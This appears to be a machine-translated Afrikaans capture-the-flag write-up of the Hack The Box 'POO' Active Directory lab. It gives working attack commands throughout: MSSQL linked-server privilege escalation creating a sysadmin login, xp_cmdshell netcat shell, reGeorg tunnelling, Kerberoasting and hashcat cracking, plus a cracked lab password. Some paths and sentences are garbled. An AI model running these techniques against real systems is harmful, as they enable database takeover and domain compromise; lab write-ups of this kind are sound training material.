In hierdie artikel sal ons die gang van nie net 'n masjien, maar 'n hele mini-laboratorium van die werf ontleed
Soos in die beskrywing genoem, is POO ontwerp om vaardighede in alle stadiums van aanvalle in 'n klein Active Directory-omgewing te toets. Die doel is om 'n beskikbare gasheer te kompromitteer, voorregte te eskaleer en uiteindelik die hele domein te kompromitteer deur 5 vlae in die proses te versamel.
Die verbinding met die laboratorium is via VPN. Dit word aanbeveel om nie vanaf 'n werkende rekenaar of van 'n gasheer te koppel waar daar belangrike data vir jou is nie, aangesien jy in 'n privaat netwerk kom met mense wat iets van inligtingsekuriteit weet 🙂
organisatoriese inligting
Sodat jy kan uitvind oor nuwe artikels, sagteware en ander inligting, het ek geskep
Alle inligting word slegs vir opvoedkundige doeleindes verskaf. Die skrywer van hierdie dokument aanvaar geen verantwoordelikheid vir enige skade wat aan enigiemand veroorsaak word as gevolg van die gebruik van die kennis en metodes wat verkry is as gevolg van die bestudering van hierdie dokument nie.
Intro
Hierdie eindspel bestaan uit twee masjiene en bevat 5 vlae.
Die beskrywing en adres van die beskikbare gasheer word ook gegee.
Kom ons begin!
Recon vlag
Hierdie masjien het 'n IP-adres van 10.13.38.11 wat ek by /etc/hosts voeg.
10.13.38.11 poo.htb
Die eerste stap is om oop poorte te skandeer. Aangesien dit lank neem om alle poorte met nmap te skandeer, sal ek dit eers met masscan doen. Ons skandeer alle TCP- en UDP-poorte vanaf die tun0-koppelvlak teen 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Nou, om meer gedetailleerde inligting te kry oor die dienste wat op die poorte loop, laat ons 'n skandering uitvoer met die -A-opsie.
nmap -A poo.htb -p80,1433
Ons het dus IIS- en MSSQL-dienste. In hierdie geval sal ons die regte DNS-naam van die domein en rekenaar uitvind. Op die webbediener word ons begroet deur die IIS-tuisblad.
Kom ons herhaal die gidse. Ek gebruik gobuster hiervoor. In die parameters spesifiseer ons die aantal strome 128 (-t), URL (-u), woordeboek (-w) en uitbreidings wat ons interesseer (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Ons het dus HTTP-verifikasie vir die /admin-gids, sowel as die .DS_Store-werkskermdiensberginglêer beskikbaar. .DS_Store is lêers wat gebruikerinstellings vir 'n vouer stoor, soos 'n lys lêers, ikoonligging, geselekteerde agtergrondprent. So 'n lêer kan in die webbedienergids van webontwikkelaars beland. So kry ons inligting oor die inhoud van die gids. Hiervoor kan jy gebruik
python3 dsstore_crawler.py -i http://poo.htb/
Ons kry die inhoud van die gids. Die interessantste ding hier is die /dev-gids, waaruit ons die bronne en db-lêers in twee takke kan sien. Maar ons kan die eerste 6 karakters van lêer- en gidsname gebruik as die diens kwesbaar is vir IIS ShortName. Jy kan kyk vir hierdie kwesbaarheid met behulp van
En ons kry een tekslêer wat met "poo_co" begin. Omdat ek nie geweet het wat om volgende te doen nie, het ek eenvoudig al die woorde wat met "co" begin, uit die woordeboek van gidse gekies.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
En herhaal met wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
En vind die regte woord! Ons kyk na hierdie lêer, stoor die geloofsbriewe (te oordeel aan die DBNAME-parameter, hulle is van MSSQL).
Ons oorhandig die vlag, en ons vorder met 20%.
Huh vlag
Ons koppel aan MSSQL, ek gebruik DBeaver.
Ons vind niks interessant in hierdie databasis nie, kom ons skep 'n SQL Editor en kyk wat gebruikers is.
SELECT name FROM master..syslogins;
Ons het twee gebruikers. Kom ons kyk na ons voorregte.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Daar is dus geen voorregte nie. Kom ons kyk na die gekoppelde bedieners, ek het in detail oor hierdie tegniek geskryf
SELECT * FROM master..sysservers;
So ons vind 'n ander SQL Server. Kom ons kyk na die uitvoering van opdragte op hierdie bediener met behulp van openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
En ons kan selfs 'n navraagboom bou.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Die feit is dat wanneer ons 'n versoek aan 'n gekoppelde bediener rig, die versoek in die konteks van 'n ander gebruiker uitgevoer word! Kom ons kyk watter gebruikerskonteks ons op die gekoppelde bediener gebruik.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
En kom ons kyk nou in watter konteks die versoek van die gekoppelde bediener na ons s'n uitgevoer word!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Dit is dus 'n DBO-konteks wat alle voorregte moet hê. Kom ons kyk na die voorregte in die geval van 'n versoek van 'n gekoppelde bediener.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Soos jy kan sien, het ons al die voorregte! Kom ons skep ons admin so. Maar hulle laat hulle nie deur openquery nie, kom ons doen dit deur EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
En nou verbind ons met die geloofsbriewe van die nuwe gebruiker, let op die nuwe vlagdatabasis.
Ons oorhandig hierdie vlag en gaan verder.
Backtrack vlag
Kom ons kry die dop met MSSQL, ek gebruik mssqlclient van die impacket-pakket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Ons moet wagwoorde kry, en die eerste ding wat ons reeds ontmoet het, is die webwerf. Ons benodig dus 'n webbedienerkonfigurasie (dit is onmoontlik om 'n gerieflike dop te gooi, blykbaar werk die firewall).
Maar toegang word geweier. Alhoewel ons die lêer vanaf MSSQL kan lees, moet ons net weet watter programmeertale opgestel is. En in die MSSQL-gids vind ons uit dat daar Python is.
Dan is daar geen probleem om die web.config-lêer te lees nie.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Met die geloofsbriewe gevind, gaan na /admin en tel die vlag op.
vastrapvlag
Om die waarheid te sê, daar is 'n paar ongerief as gevolg van die gebruik van 'n firewall, maar as ons deur die netwerkinstellings kyk, sien ons dat IPv6-protokol ook gebruik word!
Voeg hierdie adres by /etc/hosts.
dead:babe::1001 poo6.htb
Kom ons skandeer die gasheer weer, maar hierdie keer oor IPv6.
En die WinRM-diens is beskikbaar oor IPv6. Kom ons maak kontak met die geloofsbriewe wat gevind is.
Daar is 'n vlag op die lessenaar, gee dit oor.
P00ned vlag
Na verkenning op die gasheer met
setspn.exe -T intranet.poo -Q */*
Kom ons voer die opdrag via MSSQL uit.
Op hierdie manier kry ons die SPN van gebruikers p00_hr en p00_adm, wat beteken dat hulle kwesbaar is vir 'n aanval soos Kerberoasting. Kortom, ons kan die hashes van hul wagwoorde kry.
Eerstens moet jy 'n stabiele dop kry namens die MSSQL-gebruiker. Maar aangesien ons beperk is in toegang, het ons slegs 'n verbinding met die gasheer deur poorte 80 en 1433. Maar dit is moontlik om verkeer deur hawe 80 te tonnel! Hiervoor gebruik ons
Maar wanneer ons probeer om toegang daartoe te kry, kry ons 'n 404-fout. Dit beteken dat *.aspx-lêers nie uitgevoer word nie. Om lêers met hierdie uitbreidings te laat loop, installeer ASP.NET 4.5 soos volg.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
En nou, wanneer ons toegang tot tunnel.aspx kry, kry ons die antwoord dat alles gereed is om te gaan.
Kom ons begin die kliëntdeel van die toepassing, wat verkeer sal herlei. Ons sal alle verkeer vanaf poort 5432 na die bediener aanstuur.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
En ons gebruik proxychains om die verkeer van enige toepassing deur ons proxy te stuur. Kom ons voeg hierdie instaanbediener by die /etc/proxychains.conf konfigurasielêer.
Kom ons laai nou die program op na die bediener
Nou, deur MSSQL, begin ons die luisteraar.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
En ons koppel deur ons proxy.
proxychains rlwrap nc poo.htb 4321
En kom ons kry die hashes.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Vervolgens moet jy oor hierdie hashes herhaal. Aangesien rockyou nie 'n wagwoorddatawoordeboek gehad het nie, het ek AL die wagwoordwoordeboeke gebruik wat in Seclists verskaf word. Vir opsomming gebruik ons hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
En ons kry albei wagwoorde, die eerste in die dutch_passwordlist.txt woordeboek, en die tweede in Keyboard-Combinations.txt.
En so ons het drie gebruikers, ons gaan na die domeinbeheerder. Kom ons vind eers sy adres uit.
Wonderlik, ons het die IP-adres van die domeinbeheerder geleer. Kom ons vind alle gebruikers van die domein uit, asook wie van hulle 'n administrateur is. Om die skrif af te laai om inligting te kry PowerView.ps1. Dan sal ons verbind met evil-winrm, wat die gids spesifiseer met die script in die -s parameter. En laai dan net die PowerView-skrip.
Nou het ons toegang tot al sy funksies. Die p00_adm-gebruiker lyk soos 'n bevoorregte gebruiker, so ons sal in sy konteks werk. Kom ons skep 'n PSCredential-objek vir hierdie gebruiker.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Nou sal alle Powershell-opdragte waar ons Creds spesifiseer, namens p00_adm uitgevoer word. Kom ons vertoon 'n lys van gebruikers en die AdminCount-kenmerk.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
En so, ons gebruiker is regtig bevoorreg. Kom ons kyk aan watter groepe hy behoort.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Ons bevestig uiteindelik dat die gebruiker 'n domeinadministrateur is. Dit gee dit die reg om op afstand by die domeinbeheerder aan te meld. Kom ons probeer om met WinRM aan te meld deur ons tonnel te gebruik. Ek was verward deur die foute wat deur reGeorg uitgereik is toe ek evil-winrm gebruik het.
Dan gebruik ons 'n ander, makliker een,
Ons probeer om te verbind, en ons is in die stelsel.
Maar daar is geen vlag nie. Kyk dan na die gebruiker en kyk na die lessenaars.
By mr3ks kry ons die vlag en die laboratorium is 100% voltooi.
Dis al. As terugvoer, lewer kommentaar of jy iets nuuts uit hierdie artikel geleer het en of dit vir jou nuttig was.
Jy kan by ons aansluit by
Bron: will.com